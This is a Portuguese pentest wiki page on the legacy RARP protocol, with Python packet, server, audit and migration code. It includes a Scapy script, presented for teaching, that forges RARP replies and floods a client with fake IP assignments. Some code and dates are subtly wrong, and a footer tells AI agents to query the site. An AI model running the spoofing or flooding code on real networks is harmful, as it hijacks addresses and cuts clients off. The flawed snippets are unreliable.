# RARP

## 📋 **Índice**

1. [Fundamentos do RARP](#-fundamentos-do-rarp)
2. [Arquitetura e Funcionamento](#-arquitetura-e-funcionamento)
3. [Comparação com Protocolos Modernos](#-comparação-com-protocolos-modernos)
4. [Segurança e Vulnerabilidades](#-segurança-e-vulnerabilidades)
5. [Pentesting e RARP](#-pentesting-e-rarp)
6. [Implementações e Diagnóstico](#-implementações-e-diagnóstico)
7. [Legado e Contexto Histórico](#-legado-e-contexto-histórico)

***

## 🔍 **Fundamentos do RARP**

### **O que é RARP?**

O **Reverse Address Resolution Protocol (RARP)** é um protocolo de camada de enlace (Layer 2) que realiza o mapeamento reverso entre endereços MAC e endereços IP. Diferente do ARP que resolve IP → MAC, o RARP resolve MAC → IP, permitindo que dispositivos descubram seu próprio endereço IP a partir de seu endereço físico conhecido.

### **Contexto Histórico**

```yaml
Evolução do RARP:
  1984: RFC 903 - Especificação original RARP
  1984: Implementado em sistemas SunOS e outros Unix
  1985: Adotado por estações de trabalho diskless
  1993: BOOTP (RFC 951) começa a substituir RARP
  1997: DHCP (RFC 2131) torna-se padrão dominante
  2000: RARP considerado obsoleto em redes modernas
  2020: RARP raramente encontrado, exceto em sistemas legados

Motivação Original:
  ❌ Estações diskless não tinham armazenamento para IP
  ❌ Configuração manual de IP era inviável em escala
  ❌ ARP não resolvia o problema de autoconfiguração
  ✅ RARP fornecia descoberta automática de IP via MAC
```

### **Características do RARP**

| Característica      | Descrição           | Limitação               |
| ------------------- | ------------------- | ----------------------- |
| **Camada**          | Enlace (Layer 2)    | Não roteável            |
| **Porta/EtherType** | 0x8035              | Sem suporte a gateways  |
| **Operação**        | Broadcast → Unicast | Tráfego de broadcast    |
| **Informação**      | MAC → IP            | Apenas IP básico        |
| **Estado**          | Stateless           | Sem leases ou renovação |

***

## 🏗️ **Arquitetura e Funcionamento**

### **Estrutura do Pacote RARP**

```python
#!/usr/bin/env python3
# rarp_packet_structure.py

import struct
import socket
import binascii

class RARPPacket:
    """
    Estrutura do pacote RARP (RFC 903)
    Similar ao ARP, mas com operações reversas
    """
    
    # Hardware Types
    HTYPE_ETHERNET = 0x0001
    
    # Operation Codes
    RARP_REQUEST = 3      # Reverse Request
    RARP_REPLY = 4        # Reverse Reply
    
    def __init__(self):
        self.htype = self.HTYPE_ETHERNET      # Hardware Type
        self.ptype = 0x0800                    # Protocol Type (IPv4)
        self.hlen = 6                          # Hardware Address Length
        self.plen = 4                          # Protocol Address Length
        self.oper = 0                          # Operation (3=Request, 4=Reply)
        self.sha = None                        # Sender Hardware Address (MAC)
        self.spa = None                        # Sender Protocol Address (IP)
        self.tha = None                        # Target Hardware Address (MAC)
        self.tpa = None                        # Target Protocol Address (IP)
    
    def build(self):
        """Construir pacote RARP em bytes"""
        # Pack header
        packet = struct.pack('!HHBBH', 
            self.htype,          # Hardware Type
            self.ptype,          # Protocol Type
            self.hlen,           # Hardware Address Length
            self.plen,           # Protocol Address Length
            self.oper            # Operation
        )
        
        # Sender Hardware Address (6 bytes)
        if self.sha:
            sha_bytes = bytes.fromhex(self.sha.replace(':', ''))
            packet += sha_bytes
        else:
            packet += b'\x00' * 6
        
        # Sender Protocol Address (4 bytes)
        if self.spa:
            packet += socket.inet_aton(self.spa)
        else:
            packet += b'\x00' * 4
        
        # Target Hardware Address (6 bytes)
        if self.tha:
            tha_bytes = bytes.fromhex(self.tha.replace(':', ''))
            packet += tha_bytes
        else:
            packet += b'\x00' * 6
        
        # Target Protocol Address (4 bytes)
        if self.tpa:
            packet += socket.inet_aton(self.tpa)
        else:
            packet += b'\x00' * 4
        
        return packet
    
    def parse(self, data):
        """Parsear pacote RARP recebido"""
        if len(data) < 28:  # Mínimo para RARP header
            return None
        
        # Unpack header
        header = struct.unpack('!HHBBH', data[:8])
        
        self.htype = header[0]
        self.ptype = header[1]
        self.hlen = header[2]
        self.plen = header[3]
        self.oper = header[4]
        
        # Sender Hardware Address
        sha_bytes = data[8:14]
        self.sha = ':'.join(f'{b:02x}' for b in sha_bytes)
        
        # Sender Protocol Address
        spa_bytes = data[14:18]
        if spa_bytes != b'\x00\x00\x00\x00':
            self.spa = socket.inet_ntoa(spa_bytes)
        
        # Target Hardware Address
        tha_bytes = data[18:24]
        self.tha = ':'.join(f'{b:02x}' for b in tha_bytes)
        
        # Target Protocol Address
        tpa_bytes = data[24:28]
        if tpa_bytes != b'\x00\x00\x00\x00':
            self.tpa = socket.inet_ntoa(tpa_bytes)
        
        return self
    
    def display(self):
        """Exibir informações do pacote"""
        print(f"=== Pacote RARP ===")
        print(f"Operação: {'RARP Request' if self.oper == 3 else 'RARP Reply'}")
        print(f"Sender MAC: {self.sha}")
        print(f"Sender IP: {self.spa or '(unknown)'}")
        print(f"Target MAC: {self.tha}")
        print(f"Target IP: {self.tpa or '(unknown)'}")

# Exemplo de uso
packet = RARPPacket()
packet.oper = 3  # Request
packet.sha = "aa:bb:cc:dd:ee:ff"
packet.tha = "aa:bb:cc:dd:ee:ff"  # Target é o próprio MAC

print("📦 Construindo pacote RARP Request:")
raw_packet = packet.build()
print(f"Hex: {binascii.hexlify(raw_packet).decode()}")
packet.display()
```

### **Fluxo RARP Request/Reply**

```mermaid
sequenceDiagram
    participant D as Diskless Client<br/>MAC: AA:AA:AA:AA:AA:AA
    participant S as RARP Server<br/>MAC: BB:BB:BB:BB:BB:BB

    Note over D: Boot: Sem IP<br/>Apenas MAC conhecido

    D->>S: RARP Request (Broadcast)<br/>EtherType: 0x8035<br/>"Quem tem o IP para MAC AA:AA:AA:AA:AA:AA?"
    Note over D: Destino: FF:FF:FF:FF:FF:FF<br/>Target IP: 0.0.0.0<br/>Target MAC: AA:AA:AA:AA:AA:AA

    S->>S: Consulta tabela estática<br/>MAC → IP

    S->>D: RARP Reply (Unicast)<br/>"Seu IP é 192.168.1.100"
    Note over S: Destino: AA:AA:AA:AA:AA:AA<br/>Target IP: 192.168.1.100

    D->>D: Configura IP<br/>192.168.1.100
```

### **Implementação de Servidor RARP Básico**

```python
#!/usr/bin/env python3
# rarp_server.py - Servidor RARP simples

import socket
import struct
import threading
import time

class RARPServer:
    def __init__(self, interface='eth0'):
        self.interface = interface
        self.mapping = {}  # MAC -> IP
        self.running = True
        
        # Criar socket raw para RARP (EtherType 0x8035)
        self.sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x8035))
        self.sock.bind((interface, 0))
    
    def add_mapping(self, mac, ip):
        """Adicionar mapeamento MAC → IP"""
        self.mapping[mac.lower()] = ip
        print(f"✅ Mapeamento adicionado: {mac} → {ip}")
    
    def parse_rarp_request(self, data):
        """Parsear requisição RARP"""
        if len(data) < 28:
            return None
        
        # Extrair MAC alvo (posição 18-23)
        target_mac = data[18:24]
        mac_str = ':'.join(f'{b:02x}' for b in target_mac)
        
        # Verificar operação (3 = Request)
        oper = struct.unpack('!H', data[6:8])[0]
        
        return {
            'mac': mac_str,
            'is_request': oper == 3
        }
    
    def build_rarp_reply(self, target_mac, assigned_ip):
        """Construir resposta RARP"""
        # Converter MAC e IP
        mac_bytes = bytes.fromhex(target_mac.replace(':', ''))
        ip_bytes = socket.inet_aton(assigned_ip)
        
        # Construir pacote RARP
        # Hardware Type (Ethernet=1), Protocol Type (IPv4=0x0800)
        packet = struct.pack('!HHBBH', 1, 0x0800, 6, 4, 4)  # 4 = Reply
        
        # Sender MAC (servidor)
        packet += b'\xbb\xbb\xbb\xbb\xbb\xbb'  # MAC do servidor
        
        # Sender IP (servidor)
        packet += b'\x00\x00\x00\x00'  # Não usado em RARP
        
        # Target MAC (cliente solicitante)
        packet += mac_bytes
        
        # Target IP (IP atribuído)
        packet += ip_bytes
        
        return packet
    
    def handle_request(self, data, addr):
        """Processar requisição RARP"""
        request = self.parse_rarp_request(data)
        
        if request and request['is_request']:
            mac = request['mac']
            
            if mac in self.mapping:
                ip = self.mapping[mac]
                print(f"📨 Requisição RARP de {mac} → atribuindo {ip}")
                
                # Construir e enviar resposta
                reply = self.build_rarp_reply(mac, ip)
                self.sock.send(reply)
            else:
                print(f"⚠️  MAC não mapeado: {mac}")
    
    def start(self):
        """Iniciar servidor RARP"""
        print(f"🚀 Servidor RARP iniciado na interface {self.interface}")
        print("Aguardando requisições RARP...")
        
        while self.running:
            try:
                data, addr = self.sock.recvfrom(1024)
                self.handle_request(data, addr)
            except KeyboardInterrupt:
                self.stop()
            except Exception as e:
                print(f"❌ Erro: {e}")
    
    def stop(self):
        """Parar servidor"""
        self.running = False
        self.sock.close()
        print("🛑 Servidor RARP parado")

# Uso
if __name__ == "__main__":
    server = RARPServer('eth0')
    server.add_mapping('aa:bb:cc:dd:ee:ff', '192.168.1.100')
    server.add_mapping('11:22:33:44:55:66', '192.168.1.101')
    server.start()
```

***

## 🔄 **Comparação com Protocolos Modernos**

### **RARP vs BOOTP vs DHCP**

```yaml
Comparação Técnica:

  RARP (1984):
    - Porta: EtherType 0x8035 (Layer 2)
    - Roteamento: Não suportado
    - Informações: Apenas IP
    - Leases: Não
    - Autenticação: Não
    - Status: Obsoleto

  BOOTP (1985):
    - Porta: UDP 67/68 (Layer 3)
    - Roteamento: Sim (via relay)
    - Informações: IP, gateway, bootfile
    - Leases: Não
    - Autenticação: Não
    - Status: Obsoleto

  DHCP (1993):
    - Porta: UDP 67/68
    - Roteamento: Sim (relay)
    - Informações: IP, gateway, DNS, NTP, etc.
    - Leases: Sim
    - Autenticação: Opcional (RFC 3118)
    - Status: Padrão atual
```

### **Limitações do RARP**

```python
# Análise das limitações do RARP
class RARPLimitations:
    """Principais limitações que levaram à obsolescência do RARP"""
    
    @staticmethod
    def no_routing():
        """
        LIMITAÇÃO 1: Não roteável
        RARP opera na camada 2, não pode atravessar roteadores
        """
        print("❌ RARP não pode ser roteado")
        print("   - Requer servidor na mesma broadcast domain")
        print("   - Não escala para redes grandes")
        print("   - DHCP resolve com BOOTP relay")
    
    @staticmethod
    def limited_info():
        """
        LIMITAÇÃO 2: Informações limitadas
        RARP fornece apenas endereço IP
        """
        print("❌ RARP fornece apenas IP")
        print("   - Não fornece máscara de sub-rede")
        print("   - Não fornece gateway padrão")
        print("   - Não fornece servidores DNS")
        print("   - Não suporta opções adicionais")
    
    @staticmethod
    def static_mapping():
        """
        LIMITAÇÃO 3: Mapeamento estático
        RARP requer configuração manual MAC→IP
        """
        print("❌ Mapeamento estático")
        print("   - Cada MAC precisa de entrada manual")
        print("   - Não suporta alocação dinâmica")
        print("   - Não tem conceito de leases")
        print("   - Gerenciamento trabalhoso em escala")
    
    @staticmethod
    def no_security():
        """
        LIMITAÇÃO 4: Sem segurança
        RARP não tem mecanismos de autenticação
        """
        print("❌ Sem segurança")
        print("   - Não autentica servidores")
        print("   - Vulnerável a spoofing")
        print("   - Sem criptografia")
        print("   - DHCP posteriormente adicionou autenticação")
```

### **Transição RARP → BOOTP → DHCP**

```mermaid
graph LR
    subgraph "1984 - RARP"
        R1[Cliente Diskless]
        R2[Servidor RARP]
        R1 -->|MAC → IP| R2
    end
    
    subgraph "1985 - BOOTP"
        B1[Cliente Diskless]
        B2[Servidor BOOTP]
        B3[BOOTP Relay]
        B1 -->|UDP Broadcast| B3
        B3 -->|UDP Unicast| B2
    end
    
    subgraph "1993 - DHCP"
        D1[Cliente]
        D2[Servidor DHCP]
        D3[DHCP Relay]
        D1 -->|DORA| D3
        D3 -->|Unicast| D2
    end
    
    R2 -.->|Evolução| B2
    B2 -.->|Evolução| D2
```

***

## 🔒 **Segurança e Vulnerabilidades**

### **Ameaças ao RARP**

```mermaid
graph TD
    A[Ameaças RARP] --> B[RARP Spoofing]
    A --> C[RARP Flooding]
    A --> D[RARP Cache Poisoning]
    A --> E[Denial of Service]
    
    B --> B1[IP Address Hijacking]
    B --> B2[Man-in-the-Middle]
    
    C --> C1[Network Congestion]
    C --> C2[Server Overload]
    
    D --> D1[False IP Assignment]
    D --> D2[Traffic Redirection]
    
    E --> E1[Client Boot Failure]
    E --> E2[Network Outage]
```

### **Ataque: RARP Spoofing**

```python
#!/usr/bin/env python3
# rarp_spoofing_demo.py - Demonstração educacional

from scapy.all import *
import sys

class RARPSpoofer:
    """
    Demonstração de ataque RARP spoofing
    APENAS para testes educacionais
    """
    
    def __init__(self, interface='eth0'):
        self.interface = interface
        self.fake_mac = None
        self.fake_ip = None
    
    def create_rarp_reply(self, target_mac, fake_ip):
        """Criar resposta RARP falsa"""
        # Construir pacote RARP
        rarp_packet = Ether(
            dst=target_mac,           # Cliente alvo
            src=self.get_my_mac(),    # Atacante como fonte
            type=0x8035               # EtherType RARP
        ) / RARP(
            op=4,                      # Reply
            hwsrc=self.get_my_mac(),   # Sender MAC (atacante)
            hwdst=target_mac,          # Target MAC (cliente)
            psrc=fake_ip,              # Sender IP (falso)
            pdst='0.0.0.0'             # Target IP (não usado)
        )
        
        return rarp_packet
    
    def get_my_mac(self):
        """Obter MAC da interface"""
        import netifaces
        return netifaces.ifaddresses(self.interface)[netifaces.AF_LINK][0]['addr']
    
    def send_fake_reply(self, target_mac, fake_ip):
        """Enviar resposta RARP falsa"""
        packet = self.create_rarp_reply(target_mac, fake_ip)
        sendp(packet, iface=self.interface, verbose=True)
        print(f"💉 Enviado RARP Reply: {target_mac} → {fake_ip}")
    
    def flood_rarp(self, target_mac, count=1000):
        """Flood de respostas RARP"""
        print(f"💧 Iniciando flood RARP em {target_mac}")
        
        for i in range(count):
            fake_ip = f"192.168.1.{i % 254}"
            self.send_fake_reply(target_mac, fake_ip)
            time.sleep(0.01)

# Nota: Este código é APENAS para demonstração de vulnerabilidade
```

### **Medidas de Proteção (Históricas)**

```yaml
Proteções contra ataques RARP:
  
  Isolamento de Rede:
    - Servidores RARP em VLAN separada
    - Port security em switches
    - Filtragem de EtherType 0x8035
  
  Monitoramento:
    - Detectar múltiplas respostas RARP
    - Alertas para MAC desconhecidos
    - Logging de requisições RARP
  
  Alternativas:
    - Migrar para BOOTP/DHCP
    - Usar DHCP snooping
    - Implementar autenticação 802.1X
```

***

## 🎯 **Pentesting e RARP**

### **Metodologia de Teste**

#### **Fase 1: Detecção de RARP na Rede**

```bash
# Capturar tráfego RARP
tcpdump -i eth0 ether proto 0x8035 -n -v

# Usando tshark
tshark -i eth0 -Y "rarp" -T fields -e rarp.opcode -e rarp.src.hw_mac

# Scapy para capturar RARP
python3 -c "
from scapy.all import *
def handle(pkt):
    if pkt.haslayer(RARP):
        print(f'RARP: {pkt[RARP].op} - {pkt[RARP].hwsrc}')
sniff(prn=handle, filter='ether proto 0x8035')
"
```

#### **Fase 2: Análise de Vulnerabilidade**

```python
#!/usr/bin/env python3
# rarp_audit.py

from scapy.all import *
import sys

class RARPAudit:
    def __init__(self, interface='eth0'):
        self.interface = interface
        self.rarp_servers = []
        self.requests = []
        self.responses = []
    
    def capture_rarp(self, timeout=30):
        """Capturar tráfego RARP por período"""
        print(f"🔍 Capturando tráfego RARP por {timeout}s...")
        
        def handle(pkt):
            if pkt.haslayer(RARP):
                if pkt[RARP].op == 3:  # Request
                    self.requests.append({
                        'mac': pkt[RARP].hwsrc,
                        'time': time.time()
                    })
                    print(f"📨 RARP Request de {pkt[RARP].hwsrc}")
                elif pkt[RARP].op == 4:  # Reply
                    self.responses.append({
                        'mac': pkt[RARP].hwdst,
                        'ip': pkt[RARP].psrc,
                        'server': pkt[RARP].hwsrc,
                        'time': time.time()
                    })
                    print(f"📤 RARP Reply: {pkt[RARP].hwdst} → {pkt[RARP].psrc}")
        
        sniff(iface=self.interface, prn=handle, filter='ether proto 0x8035', timeout=timeout)
    
    def detect_rogue_servers(self):
        """Detectar servidores RARP não autorizados"""
        servers = set()
        for resp in self.responses:
            servers.add(resp['server'])
        
        return list(servers)
    
    def generate_report(self):
        """Gerar relatório de auditoria"""
        report = f"""
        📊 Relatório de Auditoria RARP
        ===============================
        
        Requisições RARP: {len(self.requests)}
        Respostas RARP: {len(self.responses)}
        
        Servidores RARP detectados:
        """
        
        for server in self.detect_rogue_servers():
            report += f"  - {server}\n"
        
        if not self.responses:
            report += "\n⚠️  Nenhum servidor RARP detectado\n"
        
        return report

# Uso
if __name__ == "__main__":
    audit = RARPAudit('eth0')
    audit.capture_rarp(30)
    print(audit.generate_report())
```

### **Ferramentas para RARP**

```bash
# Scapy - Manipulação de pacotes RARP
from scapy.all import *
# Criar RARP Request
rarp_request = Ether(dst="ff:ff:ff:ff:ff:ff", type=0x8035)/RARP(op=3, hwsrc="aa:bb:cc:dd:ee:ff", hwdst="aa:bb:cc:dd:ee:ff")
sendp(rarp_request, iface="eth0")

# Tcpdump - Captura especializada
tcpdump -i eth0 ether proto 0x8035 -w rarp_capture.pcap

# Wireshark - Análise
# Filter: rarp
# Display: rarp.opcode == 3 (requests) or rarp.opcode == 4 (replies)
```

***

## 🛠️ **Implementações e Diagnóstico**

### **Configuração de Servidor RARP (Linux)**

```bash
# RARP não é suportado nativamente em kernels modernos
# É necessário usar servidor rarpd (rarpd package)

# Instalar rarpd (distribuições antigas)
apt-get install rarpd

# Configurar mapeamentos em /etc/ethers
cat > /etc/ethers << EOF
aa:bb:cc:dd:ee:ff 192.168.1.100
11:22:33:44:55:66 192.168.1.101
EOF

# Iniciar serviço
service rarpd start

# Verificar status
ps aux | grep rarpd
netstat -anp | grep rarp
```

### **Diagnóstico RARP**

```python
#!/usr/bin/env python3
# rarp_diagnostics.py

import socket
import struct
import time

class RARPDiagnostics:
    def __init__(self, interface='eth0'):
        self.interface = interface
    
    def check_rarp_support(self):
        """Verificar se sistema suporta RARP"""
        try:
            # Tentar criar socket RARP
            sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x8035))
            sock.close()
            print("✅ Sistema suporta RARP")
            return True
        except:
            print("❌ Sistema não suporta RARP (kernel moderno)")
            return False
    
    def check_rarp_service(self):
        """Verificar se serviço rarpd está rodando"""
        import subprocess
        
        try:
            result = subprocess.run(['ps', 'aux'], capture_output=True, text=True)
            if 'rarpd' in result.stdout:
                print("✅ Serviço rarpd em execução")
                return True
            else:
                print("❌ Serviço rarpd não encontrado")
                return False
        except:
            return False
    
    def test_rarp_resolution(self, mac):
        """Testar resolução RARP para MAC específico"""
        from scapy.all import *
        
        print(f"🔍 Testando resolução RARP para {mac}")
        
        # Criar e enviar RARP Request
        rarp_request = Ether(dst="ff:ff:ff:ff:ff:ff", type=0x8035) / \
                       RARP(op=3, hwsrc=mac, hwdst=mac)
        
        response = srp1(rarp_request, timeout=2, iface=self.interface, verbose=False)
        
        if response and response.haslayer(RARP) and response[RARP].op == 4:
            ip = response[RARP].psrc
            print(f"✅ Resposta recebida: {mac} → {ip}")
            return ip
        else:
            print("❌ Nenhuma resposta RARP")
            return None
    
    def diagnose_network(self):
        """Diagnóstico completo de rede para RARP"""
        print("🔍 Diagnóstico RARP na rede")
        print("=" * 50)
        
        if not self.check_rarp_support():
            print("\n⚠️  RARP não suportado no sistema")
            print("   - Considere migrar para DHCP")
            print("   - Emuladores RARP podem ser usados para legado")
            return
        
        self.check_rarp_service()
        
        # Teste com MAC de exemplo
        self.test_rarp_resolution("aa:bb:cc:dd:ee:ff")

# Uso
diag = RARPDiagnostics('eth0')
diag.diagnose_network()
```

***

## 📜 **Legado e Contexto Histórico**

### **Sistemas que Utilizavam RARP**

```yaml
Sistemas históricos com RARP:
  
  Estações de Trabalho:
    - Sun Microsystems (SunOS)
    - DEC Ultrix
    - HP-UX (versões antigas)
    - IBM AIX (versões 3.x)
    - SGI IRIX
  
  Terminais X11:
    - X Terminals (X Window)
    - NCD Terminals
  
  Impressoras de Rede:
    - Impressoras HP JetDirect antigas
    - Xerox Network Printers
  
  Sistemas Embarcados:
    - VxWorks (versões antigas)
    - RTOS industriais legados
```

### **Migração para BOOTP/DHCP**

```python
#!/usr/bin/env python3
# migrate_rarp_to_dhcp.py

class MigrationGuide:
    """
    Guia de migração de RARP para DHCP
    """
    
    @staticmethod
    def assessment():
        """Avaliação de sistemas RARP existentes"""
        print("📋 Avaliação de migração RARP → DHCP:")
        print("""
        1. Inventário de dispositivos RARP:
           - Identificar todos os dispositivos que usam RARP
           - Registrar MAC addresses
           - Documentar IPs estáticos mapeados
        
        2. Planejamento DHCP:
           - Definir escopos DHCP
           - Configurar reservas para dispositivos críticos
           - Planejar transição gradual
        
        3. Configuração DHCP:
           - Implementar DHCP server
           - Configurar opções (gateway, DNS, NTP)
           - Testar com um dispositivo por vez
        
        4. Validação:
           - Verificar obtenção de IP via DHCP
           - Testar conectividade
           - Monitorar logs
        """)
    
    @staticmethod
    def dhcp_config_example():
        """Exemplo de configuração DHCP para substituir RARP"""
        config = """
        # /etc/dhcp/dhcpd.conf
        
        # Substituir mapeamentos RARP estáticos
        subnet 192.168.1.0 netmask 255.255.255.0 {
            range 192.168.1.100 192.168.1.200;
            option routers 192.168.1.1;
            option domain-name-servers 8.8.8.8;
            
            # Reservas para antigos clientes RARP
            host antigo_cliente_1 {
                hardware ethernet aa:bb:cc:dd:ee:ff;
                fixed-address 192.168.1.100;
            }
            
            host antigo_cliente_2 {
                hardware ethernet 11:22:33:44:55:66;
                fixed-address 192.168.1.101;
            }
        }
        """
        print("Exemplo de configuração DHCP:\n", config)
    
    @staticmethod
    def test_migration(device_mac):
        """Testar dispositivo migrado"""
        import subprocess
        
        print(f"🔍 Testando dispositivo {device_mac} após migração")
        
        # Forçar renovação DHCP
        cmd = f"dhclient -r && dhclient"
        print(f"   No dispositivo: {cmd}")
        
        # Verificar obtenção de IP
        print("   Verificar se obteve IP via DHCP")
        print("   Confirmar conectividade de rede")

# Uso
MigrationGuide.assessment()
MigrationGuide.dhcp_config_example()
```

### **Emulação RARP para Sistemas Legados**

```python
#!/usr/bin/env python3
# rarp_emulator.py - Emulador RARP para sistemas legados

import socket
import struct
import threading

class RARPEmulator:
    """
    Emulador RARP para dar suporte a sistemas legados
    Traduz RARP para DHCP/BOOTP
    """
    
    def __init__(self, dhcp_server):
        self.dhcp_server = dhcp_server
        self.mapping = {}  # MAC → IP (cache)
        self.rarp_sock = None
    
    def start_rarp_listener(self):
        """Iniciar listener RARP"""
        self.rarp_sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x8035))
        self.rarp_sock.bind(('eth0', 0))
        
        while True:
            data, addr = self.rarp_sock.recvfrom(1024)
            self.handle_rarp_request(data)
    
    def handle_rarp_request(self, data):
        """Processar requisição RARP"""
        if len(data) < 28:
            return
        
        # Extrair MAC alvo
        target_mac = data[18:24]
        mac_str = ':'.join(f'{b:02x}' for b in target_mac)
        
        # Verificar operação
        oper = struct.unpack('!H', data[6:8])[0]
        
        if oper == 3:  # RARP Request
            print(f"📨 Requisição RARP de {mac_str}")
            
            # Obter IP via DHCP
            ip = self.get_ip_from_dhcp(mac_str)
            
            if ip:
                self.send_rarp_reply(target_mac, ip)
    
    def get_ip_from_dhcp(self, mac):
        """Obter IP via DHCP"""
        # Simular consulta DHCP
        # Na prática, consultar servidor DHCP real
        if mac in self.mapping:
            return self.mapping[mac]
        else:
            # Atribuir IP temporário
            temp_ip = f"192.168.1.{hash(mac) % 254 + 100}"
            self.mapping[mac] = temp_ip
            return temp_ip
    
    def send_rarp_reply(self, target_mac, ip):
        """Enviar resposta RARP"""
        # Construir resposta
        reply = struct.pack('!HHBBH', 1, 0x0800, 6, 4, 4)  # Reply
        reply += b'\x00\x11\x22\x33\x44\x55'  # Servidor MAC
        reply += b'\x00\x00\x00\x00'           # Sender IP
        reply += target_mac                     # Target MAC
        reply += socket.inet_aton(ip)           # Target IP
        
        # Enviar
        self.rarp_sock.send(reply)
        print(f"📤 Resposta RARP: {mac_str} → {ip}")

# Emulador para sistemas legados
emulator = RARPEmulator(dhcp_server='192.168.1.1')
# emulator.start_rarp_listener()
```

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
RARP foi um protocolo importante historicamente:
  ✅ Primeiro protocolo de autoconfiguração IP
  ✅ Simples e eficaz para redes locais
  ✅ Base para protocolos mais avançados

RARP está obsoleto:
  ❌ Não roteável
  ❌ Informações limitadas
  ❌ Mapeamento estático
  ❌ Sem segurança
  ❌ Substituído por DHCP
```

### **Recomendações**

1. **Para Administradores**
   * Substituir sistemas RARP por DHCP
   * Usar reservas DHCP para dispositivos críticos
   * Implementar DHCP snooping para segurança
   * Migrar gradualmente dispositivos legados
2. **Para Pentesters**
   * RARP é raro em redes modernas
   * Focar em DHCP e BOOTP
   * Em redes legadas, testar RARP spoofing
   * Documentar protocolos obsoletos
3. **Para Estudo**
   * Entender RARP ajuda a compreender ARP e DHCP
   * Conhecer história dos protocolos é valioso
   * Princípios de autoconfiguração ainda relevantes

### **Futuro e Substituição**

```yaml
Protocolos Sucessores:
  
  BOOTP (1985):
    - Adicionou suporte a roteamento
    - Fornecia boot file para diskless
    - Base para DHCP
  
  DHCP (1993):
    - Alocação dinâmica com leases
    - Opções extensíveis
    - Autenticação opcional
    - Padrão atual
  
  IPv6 Autoconfiguration:
    - SLAAC (Stateless Address Autoconfiguration)
    - DHCPv6 para opções adicionais
    - Elimina necessidade de RARP/BOOTP
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/redes/protocolos-de-rede/rarp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
